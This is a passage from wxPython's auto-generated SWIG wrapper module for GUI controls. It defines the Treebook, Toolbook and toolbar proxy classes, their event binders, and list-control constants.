return _controls_.Treebook_Create(*args, **kwargs)
def InsertSubPage(*args, **kwargs):
"""
InsertSubPage(self, size_t pos, Window page, String text, bool select=False,
int imageId=NOT_FOUND) -> bool
"""
return _controls_.Treebook_InsertSubPage(*args, **kwargs)
def AddSubPage(*args, **kwargs):
"""AddSubPage(self, Window page, String text, bool select=False, int imageId=NOT_FOUND) -> bool"""
return _controls_.Treebook_AddSubPage(*args, **kwargs)
def IsNodeExpanded(*args, **kwargs):
"""IsNodeExpanded(self, size_t pos) -> bool"""
return _controls_.Treebook_IsNodeExpanded(*args, **kwargs)
def ExpandNode(*args, **kwargs):
"""ExpandNode(self, size_t pos, bool expand=True) -> bool"""
return _controls_.Treebook_ExpandNode(*args, **kwargs)
def CollapseNode(*args, **kwargs):
"""CollapseNode(self, size_t pos) -> bool"""
return _controls_.Treebook_CollapseNode(*args, **kwargs)
def GetPageParent(*args, **kwargs):
"""GetPageParent(self, size_t pos) -> int"""
return _controls_.Treebook_GetPageParent(*args, **kwargs)
def GetTreeCtrl(*args, **kwargs):
"""GetTreeCtrl(self) -> TreeCtrl"""
return _controls_.Treebook_GetTreeCtrl(*args, **kwargs)
TreeCtrl = property(GetTreeCtrl,doc="See `GetTreeCtrl`")
_controls_.Treebook_swigregister(Treebook)
def PreTreebook(*args, **kwargs):
"""PreTreebook() -> Treebook"""
val = _controls_.new_PreTreebook(*args, **kwargs)
return val
class TreebookEvent(BookCtrlBaseEvent):
"""Proxy of C++ TreebookEvent class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, EventType commandType=wxEVT_NULL, int id=0, int nSel=NOT_FOUND,
int nOldSel=NOT_FOUND) -> TreebookEvent
"""
_controls_.TreebookEvent_swiginit(self,_controls_.new_TreebookEvent(*args, **kwargs))
_controls_.TreebookEvent_swigregister(TreebookEvent)
wxEVT_COMMAND_TREEBOOK_PAGE_CHANGED = _controls_.wxEVT_COMMAND_TREEBOOK_PAGE_CHANGED
wxEVT_COMMAND_TREEBOOK_PAGE_CHANGING = _controls_.wxEVT_COMMAND_TREEBOOK_PAGE_CHANGING
wxEVT_COMMAND_TREEBOOK_NODE_COLLAPSED = _controls_.wxEVT_COMMAND_TREEBOOK_NODE_COLLAPSED
wxEVT_COMMAND_TREEBOOK_NODE_EXPANDED = _controls_.wxEVT_COMMAND_TREEBOOK_NODE_EXPANDED
EVT_TREEBOOK_PAGE_CHANGED= wx.PyEventBinder( wxEVT_COMMAND_TREEBOOK_PAGE_CHANGED, 1 )
EVT_TREEBOOK_PAGE_CHANGING= wx.PyEventBinder( wxEVT_COMMAND_TREEBOOK_PAGE_CHANGING, 1)
EVT_TREEBOOK_NODE_COLLAPSED= wx.PyEventBinder( wxEVT_COMMAND_TREEBOOK_NODE_COLLAPSED, 1 )
EVT_TREEBOOK_NODE_EXPANDED= wx.PyEventBinder( wxEVT_COMMAND_TREEBOOK_NODE_EXPANDED, 1 )
#---------------------------------------------------------------------------
class Toolbook(BookCtrlBase):
"""Proxy of C++ Toolbook class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id, Point pos=DefaultPosition, Size size=DefaultSize,
long style=BK_DEFAULT,
String name=EmptyString) -> Toolbook
"""
_controls_.Toolbook_swiginit(self,_controls_.new_Toolbook(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id, Point pos=DefaultPosition, Size size=DefaultSize,
long style=0, String name=wxEmptyString) -> bool
"""
return _controls_.Toolbook_Create(*args, **kwargs)
def GetToolBar(*args, **kwargs):
"""GetToolBar(self) -> ToolBarBase"""
return _controls_.Toolbook_GetToolBar(*args, **kwargs)
def Realize(*args, **kwargs):
"""Realize(self)"""
return _controls_.Toolbook_Realize(*args, **kwargs)
ToolBar = property(GetToolBar,doc="See `GetToolBar`")
_controls_.Toolbook_swigregister(Toolbook)
def PreToolbook(*args, **kwargs):
"""PreToolbook() -> Toolbook"""
val = _controls_.new_PreToolbook(*args, **kwargs)
return val
class ToolbookEvent(BookCtrlBaseEvent):
"""Proxy of C++ ToolbookEvent class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, EventType commandType=wxEVT_NULL, int id=0, int nSel=NOT_FOUND,
int nOldSel=NOT_FOUND) -> ToolbookEvent
"""
_controls_.ToolbookEvent_swiginit(self,_controls_.new_ToolbookEvent(*args, **kwargs))
_controls_.ToolbookEvent_swigregister(ToolbookEvent)
wxEVT_COMMAND_TOOLBOOK_PAGE_CHANGED = _controls_.wxEVT_COMMAND_TOOLBOOK_PAGE_CHANGED
wxEVT_COMMAND_TOOLBOOK_PAGE_CHANGING = _controls_.wxEVT_COMMAND_TOOLBOOK_PAGE_CHANGING
EVT_TOOLBOOK_PAGE_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_TOOLBOOK_PAGE_CHANGED, 1)
EVT_TOOLBOOK_PAGE_CHANGING = wx.PyEventBinder( wxEVT_COMMAND_TOOLBOOK_PAGE_CHANGING, 1)
#---------------------------------------------------------------------------
TOOL_STYLE_BUTTON = _controls_.TOOL_STYLE_BUTTON
TOOL_STYLE_SEPARATOR = _controls_.TOOL_STYLE_SEPARATOR
TOOL_STYLE_CONTROL = _controls_.TOOL_STYLE_CONTROL
TB_HORIZONTAL = _controls_.TB_HORIZONTAL
TB_VERTICAL = _controls_.TB_VERTICAL
TB_TOP = _controls_.TB_TOP
TB_LEFT = _controls_.TB_LEFT
TB_BOTTOM = _controls_.TB_BOTTOM
TB_RIGHT = _controls_.TB_RIGHT
TB_3DBUTTONS = _controls_.TB_3DBUTTONS
TB_FLAT = _controls_.TB_FLAT
TB_DOCKABLE = _controls_.TB_DOCKABLE
TB_NOICONS = _controls_.TB_NOICONS
TB_TEXT = _controls_.TB_TEXT
TB_NODIVIDER = _controls_.TB_NODIVIDER
TB_NOALIGN = _controls_.TB_NOALIGN
TB_HORZ_LAYOUT = _controls_.TB_HORZ_LAYOUT
TB_HORZ_TEXT = _controls_.TB_HORZ_TEXT
TB_NO_TOOLTIPS = _controls_.TB_NO_TOOLTIPS
class ToolBarToolBase(_core.Object):
"""Proxy of C++ ToolBarToolBase class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self): raise AttributeError, "No constructor defined"
__repr__ = _swig_repr
def GetId(*args, **kwargs):
"""GetId(self) -> int"""
return _controls_.ToolBarToolBase_GetId(*args, **kwargs)
def GetControl(*args, **kwargs):
"""GetControl(self) -> Control"""
return _controls_.ToolBarToolBase_GetControl(*args, **kwargs)
def GetToolBar(*args, **kwargs):
"""GetToolBar(self) -> ToolBarBase"""
return _controls_.ToolBarToolBase_GetToolBar(*args, **kwargs)
def IsButton(*args, **kwargs):
"""IsButton(self) -> int"""
return _controls_.ToolBarToolBase_IsButton(*args, **kwargs)
def IsControl(*args, **kwargs):
"""IsControl(self) -> int"""
return _controls_.ToolBarToolBase_IsControl(*args, **kwargs)
def IsSeparator(*args, **kwargs):
"""IsSeparator(self) -> int"""
return _controls_.ToolBarToolBase_IsSeparator(*args, **kwargs)
def GetStyle(*args, **kwargs):
"""GetStyle(self) -> int"""
return _controls_.ToolBarToolBase_GetStyle(*args, **kwargs)
def GetKind(*args, **kwargs):
"""GetKind(self) -> int"""
return _controls_.ToolBarToolBase_GetKind(*args, **kwargs)
def IsEnabled(*args, **kwargs):
"""IsEnabled(self) -> bool"""
return _controls_.ToolBarToolBase_IsEnabled(*args, **kwargs)
def IsToggled(*args, **kwargs):
"""IsToggled(self) -> bool"""
return _controls_.ToolBarToolBase_IsToggled(*args, **kwargs)
def CanBeToggled(*args, **kwargs):
"""CanBeToggled(self) -> bool"""
return _controls_.ToolBarToolBase_CanBeToggled(*args, **kwargs)
def GetNormalBitmap(*args, **kwargs):
"""GetNormalBitmap(self) -> Bitmap"""
return _controls_.ToolBarToolBase_GetNormalBitmap(*args, **kwargs)
def GetDisabledBitmap(*args, **kwargs):
"""GetDisabledBitmap(self) -> Bitmap"""
return _controls_.ToolBarToolBase_GetDisabledBitmap(*args, **kwargs)
def GetBitmap(*args, **kwargs):
"""GetBitmap(self) -> Bitmap"""
return _controls_.ToolBarToolBase_GetBitmap(*args, **kwargs)
def GetLabel(*args, **kwargs):
"""GetLabel(self) -> String"""
return _controls_.ToolBarToolBase_GetLabel(*args, **kwargs)
def GetShortHelp(*args, **kwargs):
"""GetShortHelp(self) -> String"""
return _controls_.ToolBarToolBase_GetShortHelp(*args, **kwargs)
def GetLongHelp(*args, **kwargs):
"""GetLongHelp(self) -> String"""
return _controls_.ToolBarToolBase_GetLongHelp(*args, **kwargs)
def Enable(*args, **kwargs):
"""Enable(self, bool enable) -> bool"""
return _controls_.ToolBarToolBase_Enable(*args, **kwargs)
def Toggle(*args, **kwargs):
"""Toggle(self)"""
return _controls_.ToolBarToolBase_Toggle(*args, **kwargs)
def SetToggle(*args, **kwargs):
"""SetToggle(self, bool toggle) -> bool"""
return _controls_.ToolBarToolBase_SetToggle(*args, **kwargs)
def SetShortHelp(*args, **kwargs):
"""SetShortHelp(self, String help) -> bool"""
return _controls_.ToolBarToolBase_SetShortHelp(*args, **kwargs)
def SetLongHelp(*args, **kwargs):
"""SetLongHelp(self, String help) -> bool"""
return _controls_.ToolBarToolBase_SetLongHelp(*args, **kwargs)
def SetNormalBitmap(*args, **kwargs):
"""SetNormalBitmap(self, Bitmap bmp)"""
return _controls_.ToolBarToolBase_SetNormalBitmap(*args, **kwargs)
def SetDisabledBitmap(*args, **kwargs):
"""SetDisabledBitmap(self, Bitmap bmp)"""
return _controls_.ToolBarToolBase_SetDisabledBitmap(*args, **kwargs)
def SetLabel(*args, **kwargs):
"""SetLabel(self, String label)"""
return _controls_.ToolBarToolBase_SetLabel(*args, **kwargs)
def Detach(*args, **kwargs):
"""Detach(self)"""
return _controls_.ToolBarToolBase_Detach(*args, **kwargs)
def Attach(*args, **kwargs):
"""Attach(self, ToolBarBase tbar)"""
return _controls_.ToolBarToolBase_Attach(*args, **kwargs)
def GetClientData(*args, **kwargs):
"""GetClientData(self) -> PyObject"""
return _controls_.ToolBarToolBase_GetClientData(*args, **kwargs)
def SetClientData(*args, **kwargs):
"""SetClientData(self, PyObject clientData)"""
return _controls_.ToolBarToolBase_SetClientData(*args, **kwargs)
GetBitmap1 = GetNormalBitmap
GetBitmap2 = GetDisabledBitmap
SetBitmap1 = SetNormalBitmap
SetBitmap2 = SetDisabledBitmap
Bitmap = property(GetBitmap,doc="See `GetBitmap`")
ClientData = property(GetClientData,SetClientData,doc="See `GetClientData` and `SetClientData`")
Control = property(GetControl,doc="See `GetControl`")
DisabledBitmap = property(GetDisabledBitmap,SetDisabledBitmap,doc="See `GetDisabledBitmap` and `SetDisabledBitmap`")
Id = property(GetId,doc="See `GetId`")
Kind = property(GetKind,doc="See `GetKind`")
Label = property(GetLabel,SetLabel,doc="See `GetLabel` and `SetLabel`")
LongHelp = property(GetLongHelp,SetLongHelp,doc="See `GetLongHelp` and `SetLongHelp`")
NormalBitmap = property(GetNormalBitmap,SetNormalBitmap,doc="See `GetNormalBitmap` and `SetNormalBitmap`")
ShortHelp = property(GetShortHelp,SetShortHelp,doc="See `GetShortHelp` and `SetShortHelp`")
Style = property(GetStyle,doc="See `GetStyle`")
ToolBar = property(GetToolBar,doc="See `GetToolBar`")
_controls_.ToolBarToolBase_swigregister(ToolBarToolBase)
class ToolBarBase(_core.Control):
"""Proxy of C++ ToolBarBase class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self): raise AttributeError, "No constructor defined"
__repr__ = _swig_repr
def DoAddTool(*args, **kwargs):
"""
DoAddTool(self, int id, String label, Bitmap bitmap, Bitmap bmpDisabled=wxNullBitmap,
int kind=ITEM_NORMAL, String shortHelp=EmptyString,
String longHelp=EmptyString,
PyObject clientData=None) -> ToolBarToolBase
"""
return _controls_.ToolBarBase_DoAddTool(*args, **kwargs)
def DoInsertTool(*args, **kwargs):
"""
DoInsertTool(self, size_t pos, int id, String label, Bitmap bitmap, Bitmap bmpDisabled=wxNullBitmap,
int kind=ITEM_NORMAL,
String shortHelp=EmptyString, String longHelp=EmptyString,
PyObject clientData=None) -> ToolBarToolBase
"""
return _controls_.ToolBarBase_DoInsertTool(*args, **kwargs)
# These match the original Add methods for this class, kept for
# backwards compatibility with versions < 2.3.3.
def AddTool(self, id, bitmap,
pushedBitmap = wx.NullBitmap,
isToggle = 0,
clientData = None,
shortHelpString = '',
longHelpString = '') :
'''Old style method to add a tool to the toolbar.'''
kind = wx.ITEM_NORMAL
if isToggle: kind = wx.ITEM_CHECK
return self.DoAddTool(id, '', bitmap, pushedBitmap, kind,
shortHelpString, longHelpString, clientData)
def AddSimpleTool(self, id, bitmap,
shortHelpString = '',
longHelpString = '',
isToggle = 0):
'''Old style method to add a tool to the toolbar.'''
kind = wx.ITEM_NORMAL
if isToggle: kind = wx.ITEM_CHECK
return self.DoAddTool(id, '', bitmap, wx.NullBitmap, kind,
shortHelpString, longHelpString, None)
def InsertTool(self, pos, id, bitmap,
pushedBitmap = wx.NullBitmap,
isToggle = 0,
clientData = None,
shortHelpString = '',
longHelpString = ''):
'''Old style method to insert a tool in the toolbar.'''
kind = wx.ITEM_NORMAL
if isToggle: kind = wx.ITEM_CHECK
return self.DoInsertTool(pos, id, '', bitmap, pushedBitmap, kind,
shortHelpString, longHelpString, clientData)
def InsertSimpleTool(self, pos, id, bitmap,
shortHelpString = '',
longHelpString = '',
isToggle = 0):
'''Old style method to insert a tool in the toolbar.'''
kind = wx.ITEM_NORMAL
if isToggle: kind = wx.ITEM_CHECK
return self.DoInsertTool(pos, id, '', bitmap, wx.NullBitmap, kind,
shortHelpString, longHelpString, None)
# The following are the new toolbar Add methods starting with
# 2.3.3. They are renamed to have 'Label' in the name so as to be
# able to keep backwards compatibility with using the above
# methods. Eventually these should migrate to be the methods used
# primarily and lose the 'Label' in the name...
def AddLabelTool(self, id, label, bitmap,
bmpDisabled = wx.NullBitmap,
kind = wx.ITEM_NORMAL,
shortHelp = '', longHelp = '',
clientData = None):
'''
The full AddTool() function.
If bmpDisabled is wx.NullBitmap, a shadowed version of the normal bitmap
is created and used as the disabled image.
'''
return self.DoAddTool(id, label, bitmap, bmpDisabled, kind,
shortHelp, longHelp, clientData)
def InsertLabelTool(self, pos, id, label, bitmap,
bmpDisabled = wx.NullBitmap,
kind = wx.ITEM_NORMAL,
shortHelp = '', longHelp = '',
clientData = None):
'''
Insert the new tool at the given position, if pos == GetToolsCount(), it
is equivalent to AddTool()
'''
return self.DoInsertTool(pos, id, label, bitmap, bmpDisabled, kind,
shortHelp, longHelp, clientData)
def AddCheckLabelTool(self, id, label, bitmap,
bmpDisabled = wx.NullBitmap,
shortHelp = '', longHelp = '',
clientData = None):
'''Add a check tool, i.e. a tool which can be toggled'''
return self.DoAddTool(id, label, bitmap, bmpDisabled, wx.ITEM_CHECK,
shortHelp, longHelp, clientData)
def AddRadioLabelTool(self, id, label, bitmap,
bmpDisabled = wx.NullBitmap,
shortHelp = '', longHelp = '',
clientData = None):
'''
Add a radio tool, i.e. a tool which can be toggled and releases any
other toggled radio tools in the same group when it happens
'''
return self.DoAddTool(id, label, bitmap, bmpDisabled, wx.ITEM_RADIO,
shortHelp, longHelp, clientData)
# For consistency with the backwards compatible methods above, here are
# some non-'Label' versions of the Check and Radio methods
def AddCheckTool(self, id, bitmap,
bmpDisabled = wx.NullBitmap,
shortHelp = '', longHelp = '',
clientData = None):
'''Add a check tool, i.e. a tool which can be toggled'''
return self.DoAddTool(id, '', bitmap, bmpDisabled, wx.ITEM_CHECK,
shortHelp, longHelp, clientData)
def AddRadioTool(self, id, bitmap,
bmpDisabled = wx.NullBitmap,
shortHelp = '', longHelp = '',
clientData = None):
'''
Add a radio tool, i.e. a tool which can be toggled and releases any
other toggled radio tools in the same group when it happens
'''
return self.DoAddTool(id, '', bitmap, bmpDisabled, wx.ITEM_RADIO,
shortHelp, longHelp, clientData)
def AddToolItem(*args, **kwargs):
"""AddToolItem(self, ToolBarToolBase tool) -> ToolBarToolBase"""
return _controls_.ToolBarBase_AddToolItem(*args, **kwargs)
def InsertToolItem(*args, **kwargs):
"""InsertToolItem(self, size_t pos, ToolBarToolBase tool) -> ToolBarToolBase"""
return _controls_.ToolBarBase_InsertToolItem(*args, **kwargs)
def AddControl(*args, **kwargs):
"""AddControl(self, Control control) -> ToolBarToolBase"""
return _controls_.ToolBarBase_AddControl(*args, **kwargs)
def InsertControl(*args, **kwargs):
"""InsertControl(self, size_t pos, Control control) -> ToolBarToolBase"""
return _controls_.ToolBarBase_InsertControl(*args, **kwargs)
def FindControl(*args, **kwargs):
"""FindControl(self, int id) -> Control"""
return _controls_.ToolBarBase_FindControl(*args, **kwargs)
def AddSeparator(*args, **kwargs):
"""AddSeparator(self) -> ToolBarToolBase"""
return _controls_.ToolBarBase_AddSeparator(*args, **kwargs)
def InsertSeparator(*args, **kwargs):
"""InsertSeparator(self, size_t pos) -> ToolBarToolBase"""
return _controls_.ToolBarBase_InsertSeparator(*args, **kwargs)
def RemoveTool(*args, **kwargs):
"""RemoveTool(self, int id) -> ToolBarToolBase"""
return _controls_.ToolBarBase_RemoveTool(*args, **kwargs)
def DeleteToolByPos(*args, **kwargs):
"""DeleteToolByPos(self, size_t pos) -> bool"""
return _controls_.ToolBarBase_DeleteToolByPos(*args, **kwargs)
def DeleteTool(*args, **kwargs):
"""DeleteTool(self, int id) -> bool"""
return _controls_.ToolBarBase_DeleteTool(*args, **kwargs)
def ClearTools(*args, **kwargs):
"""ClearTools(self)"""
return _controls_.ToolBarBase_ClearTools(*args, **kwargs)
def Realize(*args, **kwargs):
"""Realize(self) -> bool"""
return _controls_.ToolBarBase_Realize(*args, **kwargs)
def EnableTool(*args, **kwargs):
"""EnableTool(self, int id, bool enable)"""
return _controls_.ToolBarBase_EnableTool(*args, **kwargs)
def ToggleTool(*args, **kwargs):
"""ToggleTool(self, int id, bool toggle)"""
return _controls_.ToolBarBase_ToggleTool(*args, **kwargs)
def SetToggle(*args, **kwargs):
"""SetToggle(self, int id, bool toggle)"""
return _controls_.ToolBarBase_SetToggle(*args, **kwargs)
def GetToolClientData(*args, **kwargs):
"""GetToolClientData(self, int id) -> PyObject"""
return _controls_.ToolBarBase_GetToolClientData(*args, **kwargs)
def SetToolClientData(*args, **kwargs):
"""SetToolClientData(self, int id, PyObject clientData)"""
return _controls_.ToolBarBase_SetToolClientData(*args, **kwargs)
def GetToolPos(*args, **kwargs):
"""GetToolPos(self, int id) -> int"""
return _controls_.ToolBarBase_GetToolPos(*args, **kwargs)
def GetToolState(*args, **kwargs):
"""GetToolState(self, int id) -> bool"""
return _controls_.ToolBarBase_GetToolState(*args, **kwargs)
def GetToolEnabled(*args, **kwargs):
"""GetToolEnabled(self, int id) -> bool"""
return _controls_.ToolBarBase_GetToolEnabled(*args, **kwargs)
def SetToolShortHelp(*args, **kwargs):
"""SetToolShortHelp(self, int id, String helpString)"""
return _controls_.ToolBarBase_SetToolShortHelp(*args, **kwargs)
def GetToolShortHelp(*args, **kwargs):
"""GetToolShortHelp(self, int id) -> String"""
return _controls_.ToolBarBase_GetToolShortHelp(*args, **kwargs)
def SetToolLongHelp(*args, **kwargs):
"""SetToolLongHelp(self, int id, String helpString)"""
return _controls_.ToolBarBase_SetToolLongHelp(*args, **kwargs)
def GetToolLongHelp(*args, **kwargs):
"""GetToolLongHelp(self, int id) -> String"""
return _controls_.ToolBarBase_GetToolLongHelp(*args, **kwargs)
def SetMarginsXY(*args, **kwargs):
"""SetMarginsXY(self, int x, int y)"""
return _controls_.ToolBarBase_SetMarginsXY(*args, **kwargs)
def SetMargins(*args, **kwargs):
"""SetMargins(self, Size size)"""
return _controls_.ToolBarBase_SetMargins(*args, **kwargs)
def SetToolPacking(*args, **kwargs):
"""SetToolPacking(self, int packing)"""
return _controls_.ToolBarBase_SetToolPacking(*args, **kwargs)
def SetToolSeparation(*args, **kwargs):
"""SetToolSeparation(self, int separation)"""
return _controls_.ToolBarBase_SetToolSeparation(*args, **kwargs)
def GetToolMargins(*args, **kwargs):
"""GetToolMargins(self) -> Size"""
return _controls_.ToolBarBase_GetToolMargins(*args, **kwargs)
def GetMargins(*args, **kwargs):
"""GetMargins(self) -> Size"""
return _controls_.ToolBarBase_GetMargins(*args, **kwargs)
def GetToolPacking(*args, **kwargs):
"""GetToolPacking(self) -> int"""
return _controls_.ToolBarBase_GetToolPacking(*args, **kwargs)
def GetToolSeparation(*args, **kwargs):
"""GetToolSeparation(self) -> int"""
return _controls_.ToolBarBase_GetToolSeparation(*args, **kwargs)
def SetRows(*args, **kwargs):
"""SetRows(self, int nRows)"""
return _controls_.ToolBarBase_SetRows(*args, **kwargs)
def SetMaxRowsCols(*args, **kwargs):
"""SetMaxRowsCols(self, int rows, int cols)"""
return _controls_.ToolBarBase_SetMaxRowsCols(*args, **kwargs)
def GetMaxRows(*args, **kwargs):
"""GetMaxRows(self) -> int"""
return _controls_.ToolBarBase_GetMaxRows(*args, **kwargs)
def GetMaxCols(*args, **kwargs):
"""GetMaxCols(self) -> int"""
return _controls_.ToolBarBase_GetMaxCols(*args, **kwargs)
def SetToolBitmapSize(*args, **kwargs):
"""SetToolBitmapSize(self, Size size)"""
return _controls_.ToolBarBase_SetToolBitmapSize(*args, **kwargs)
def GetToolBitmapSize(*args, **kwargs):
"""GetToolBitmapSize(self) -> Size"""
return _controls_.ToolBarBase_GetToolBitmapSize(*args, **kwargs)
def GetToolSize(*args, **kwargs):
"""GetToolSize(self) -> Size"""
return _controls_.ToolBarBase_GetToolSize(*args, **kwargs)
def FindToolForPosition(*args, **kwargs):
"""FindToolForPosition(self, int x, int y) -> ToolBarToolBase"""
return _controls_.ToolBarBase_FindToolForPosition(*args, **kwargs)
def FindById(*args, **kwargs):
"""FindById(self, int toolid) -> ToolBarToolBase"""
return _controls_.ToolBarBase_FindById(*args, **kwargs)
def IsVertical(*args, **kwargs):
"""IsVertical(self) -> bool"""
return _controls_.ToolBarBase_IsVertical(*args, **kwargs)
def GetToolsCount(*args, **kwargs):
"""GetToolsCount(self) -> size_t"""
return _controls_.ToolBarBase_GetToolsCount(*args, **kwargs)
Margins = property(GetMargins,SetMargins,doc="See `GetMargins` and `SetMargins`")
MaxCols = property(GetMaxCols,doc="See `GetMaxCols`")
MaxRows = property(GetMaxRows,doc="See `GetMaxRows`")
ToolBitmapSize = property(GetToolBitmapSize,SetToolBitmapSize,doc="See `GetToolBitmapSize` and `SetToolBitmapSize`")
ToolMargins = property(GetToolMargins,doc="See `GetToolMargins`")
ToolPacking = property(GetToolPacking,SetToolPacking,doc="See `GetToolPacking` and `SetToolPacking`")
ToolSeparation = property(GetToolSeparation,SetToolSeparation,doc="See `GetToolSeparation` and `SetToolSeparation`")
ToolSize = property(GetToolSize,doc="See `GetToolSize`")
ToolsCount = property(GetToolsCount,doc="See `GetToolsCount`")
_controls_.ToolBarBase_swigregister(ToolBarBase)
class ToolBar(ToolBarBase):
"""Proxy of C++ ToolBar class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=wxNO_BORDER|wxTB_HORIZONTAL,
String name=wxPyToolBarNameStr) -> ToolBar
"""
_controls_.ToolBar_swiginit(self,_controls_.new_ToolBar(*args, **kwargs))
self._setOORInfo(self)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=wxNO_BORDER|wxTB_HORIZONTAL,
String name=wxPyToolBarNameStr) -> bool
"""
return _controls_.ToolBar_Create(*args, **kwargs)
def SetToolNormalBitmap(*args, **kwargs):
"""SetToolNormalBitmap(self, int id, Bitmap bitmap)"""
return _controls_.ToolBar_SetToolNormalBitmap(*args, **kwargs)
def SetToolDisabledBitmap(*args, **kwargs):
"""SetToolDisabledBitmap(self, int id, Bitmap bitmap)"""
return _controls_.ToolBar_SetToolDisabledBitmap(*args, **kwargs)
def GetClassDefaultAttributes(*args, **kwargs):
"""
GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.ToolBar_GetClassDefaultAttributes(*args, **kwargs)
GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)
_controls_.ToolBar_swigregister(ToolBar)
def PreToolBar(*args, **kwargs):
"""PreToolBar() -> ToolBar"""
val = _controls_.new_PreToolBar(*args, **kwargs)
return val
def ToolBar_GetClassDefaultAttributes(*args, **kwargs):
"""
ToolBar_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes
Get the default attributes for this class. This is useful if you want
to use the same font or colour in your own control as in a standard
control -- which is a much better idea than hard coding specific
colours or fonts which might look completely out of place on the
user's system, especially if it uses themes.
The variant parameter is only relevant under Mac currently and is
ignore under other platforms. Under Mac, it will change the size of
the returned font. See `wx.Window.SetWindowVariant` for more about
this.
"""
return _controls_.ToolBar_GetClassDefaultAttributes(*args, **kwargs)
#---------------------------------------------------------------------------
LC_VRULES = _controls_.LC_VRULES
LC_HRULES = _controls_.LC_HRULES
LC_ICON = _controls_.LC_ICON
LC_SMALL_ICON = _controls_.LC_SMALL_ICON
LC_LIST = _controls_.LC_LIST
LC_REPORT = _controls_.LC_REPORT
LC_ALIGN_TOP = _controls_.LC_ALIGN_TOP
LC_ALIGN_LEFT = _controls_.LC_ALIGN_LEFT
LC_AUTOARRANGE = _controls_.LC_AUTOARRANGE
LC_VIRTUAL = _controls_.LC_VIRTUAL
LC_EDIT_LABELS = _controls_.LC_EDIT_LABELS
LC_NO_HEADER = _controls_.LC_NO_HEADER
LC_NO_SORT_HEADER = _controls_.LC_NO_SORT_HEADER
LC_SINGLE_SEL = _controls_.LC_SINGLE_SEL
LC_SORT_ASCENDING = _controls_.LC_SORT_ASCENDING
LC_SORT_DESCENDING = _controls_.LC_SORT_DESCENDING
LC_MASK_TYPE = _controls_.LC_MASK_TYPE
LC_MASK_ALIGN = _controls_.LC_MASK_ALIGN
LC_MASK_SORT = _controls_.LC_MASK_SORT
LIST_MASK_STATE = _controls_.LIST_MASK_STATE
LIST_MASK_TEXT = _controls_.LIST_MASK_TEXT
LIST_MASK_IMAGE = _controls_.LIST_MASK_IMAGE
LIST_MASK_DATA = _controls_.LIST_MASK_DATA
LIST_SET_ITEM = _controls_.LIST_SET_ITEM
LIST_MASK_WIDTH = _controls_.LIST_MASK_WIDTH
LIST_MASK_FORMAT = _controls_.LIST_MASK_FORMAT
LIST_STATE_DONTCARE = _controls_.LIST_STATE_DONTCARE
LIST_STATE_DROPHILITED = _controls_.LIST_STATE_DROPHILITED
LIST_STATE_FOCUSED = _controls_.LIST_STATE_FOCUSED
LIST_STATE_SELECTED = _controls_.LIST_STATE_SELECTED
LIST_STATE_CUT = _controls_.LIST_STATE_CUT
LIST_STATE_DISABLED = _controls_.LIST_STATE_DISABLED
LIST_STATE_FILTERED = _controls_.LIST_STATE_FILTERED
LIST_STATE_INUSE = _controls_.LIST_STATE_INUSE
LIST_STATE_PICKED = _controls_.LIST_STATE_PICKED
LIST_STATE_SOURCE = _controls_.LIST_STATE_SOURCE
LIST_HITTEST_ABOVE = _controls_.LIST_HITTEST_ABOVE
LIST_HITTEST_BELOW = _controls_.LIST_HITTEST_BELOW
LIST_HITTEST_NOWHERE = _controls_.LIST_HITTEST_NOWHERE
LIST_HITTEST_ONITEMICON = _controls_.LIST_HITTEST_ONITEMICON
LIST_HITTEST_ONITEMLABEL = _controls_.LIST_HITTEST_ONITEMLABEL
LIST_HITTEST_ONITEMRIGHT = _controls_.LIST_HITTEST_ONITEMRIGHT
LIST_HITTEST_ONITEMSTATEICON = _controls_.LIST_HITTEST_ONITEMSTATEICON
LIST_HITTEST_TOLEFT = _controls_.LIST_HITTEST_TOLEFT
LIST_HITTEST_TORIGHT = _controls_.LIST_HITTEST_TORIGHT
LIST_HITTEST_ONITEM = _controls_.LIST_HITTEST_ONITEM
LIST_GETSUBITEMRECT_WHOLEITEM = _controls_.LIST_GETSUBITEMRECT_WHOLEITEM
LIST_NEXT_ABOVE = _controls_.LIST_NEXT_ABOVE
LIST_NEXT_ALL = _controls_.LIST_NEXT_ALL
LIST_NEXT_BELOW = _controls_.LIST_NEXT_BELOW
LIST_NEXT_LEFT = _controls_.LIST_NEXT_LEFT
LIST_NEXT_RIGHT = _controls_.LIST_NEXT_RIGHT
LIST_ALIGN_DEFAULT = _controls_.LIST_ALIGN_DEFAULT
LIST_ALIGN_LEFT = _controls_.LIST_ALIGN_LEFT
LIST_ALIGN_TOP = _controls_.LIST_ALIGN_TOP
LIST_ALIGN_SNAP_TO_GRID = _controls_.LIST_ALIGN_SNAP_TO_GRID
LIST_FORMAT_LEFT = _controls_.LIST_FORMAT_LEFT
LIST_FORMAT_RIGHT = _controls_.LIST_FORMAT_RIGHT
